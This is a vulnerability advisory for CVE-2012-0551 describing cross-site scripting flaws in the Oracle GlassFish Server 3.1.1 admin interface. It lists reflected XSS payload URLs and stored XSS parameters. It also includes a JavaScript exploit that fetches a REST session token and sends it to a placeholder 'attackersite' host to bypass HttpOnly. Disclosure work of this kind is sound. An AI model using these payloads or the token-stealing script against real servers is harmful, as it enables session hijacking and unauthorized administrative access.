Vendor Site: Oracle (
Date: April, 19th 2012 – CVE 2012-0551
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani
PDF version:

Description has discovered that components of the Oracle GlassFish Server administrative web
interface are vulnerable to both reflected  and stored  Cross Site Scripting attacks. All pages where Cross Site
Scripting vulnerabilities were discovered require authentication.

Reflected Cross Site Scripting 

Reflected Cross Site Scripting was discovered in multiple parts of the application. 
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:

[1] /common/applications/lifecycleEdit.jsf?appName=test%27);alert(document.cookie)//test

[2] /common/security/realms/realms.jsf?configName=default-config%22%29%3balert%281%29//test

[3] /web/grizzly/networkListeners.jsf?configName=default-configad217%22%29%3balert%281%29//test

[4] /common/security/auditModules/auditModules.jsf?configName=904895%22);alert(1);//test

[5] /common/security/jacc/jaccProviders.jsf?configName=904895%22);alert(1);//t

[6] /common/security/msgSecurity/msgSecurity.jsf?configName=904895%22);alert(1);//test

[7] /jms/jmsHosts.jsf?configName=904895%22);alert(1);//test

[8] /web/grizzly/networkListeners.jsf?configName=904895%22);alert(1);//test

[9] /web/grizzly/protocols.jsf?configName=904895%22);alert(1);//test

[10] /web/grizzly/transports.jsf?configName=904895%22);alert(1);//test

[11] /xhp?key=aquarium%27%3b%3Cscript%3Ealert%281%29%3C/script%3E//test    ** Works in Internet Explorer (content sniffing)

Stored Cross Site Scripting

The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected	Rendered Page	Method	Variable
[1] /management/domain/create-password-alias - POST - id

[2] /common/appServer/pswdAliasNew.jsf - POST - propertyForm%3ApropertySheet%3ApropertSectionTextField%3AaliasNameNew%3AaliasNameNew
** requires a valid javax.faces.ViewState


These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file, 
such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it 
is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface. 

Bypassing HTTPOnly protection and token theft via REST interface

There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface. 

This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and 
reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface. 

The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface.

Bypassing HTTPOnly and Stealing Session Token

function retrieveToken() 
var xmlhttp; 
if (window.XMLHttpRequest) 
  {// code for IE7+, Firefox, Chrome, Opera, Safari 
  xmlhttp=new XMLHttpRequest(); 
  {// code for IE6, IE5 
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
  if (xmlhttp.readyState==4 && xmlhttp.status==200) 
return xmlhttp; 
function stealToken(a) 
jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker 
a = document.createElement("IMG"); 
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token); 
document.body.appendChild(a); // time to grab the token 
// this exploit works with browsers that have native JSON support 
var a = retrieveToken();// perform XHR to retrieve token 
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to 
// attacker then needs to set a cookie named gfresttoken with the token value obtained. The 
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server


Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -
April 2012. recommends applying the latest patch provided by the vendor.
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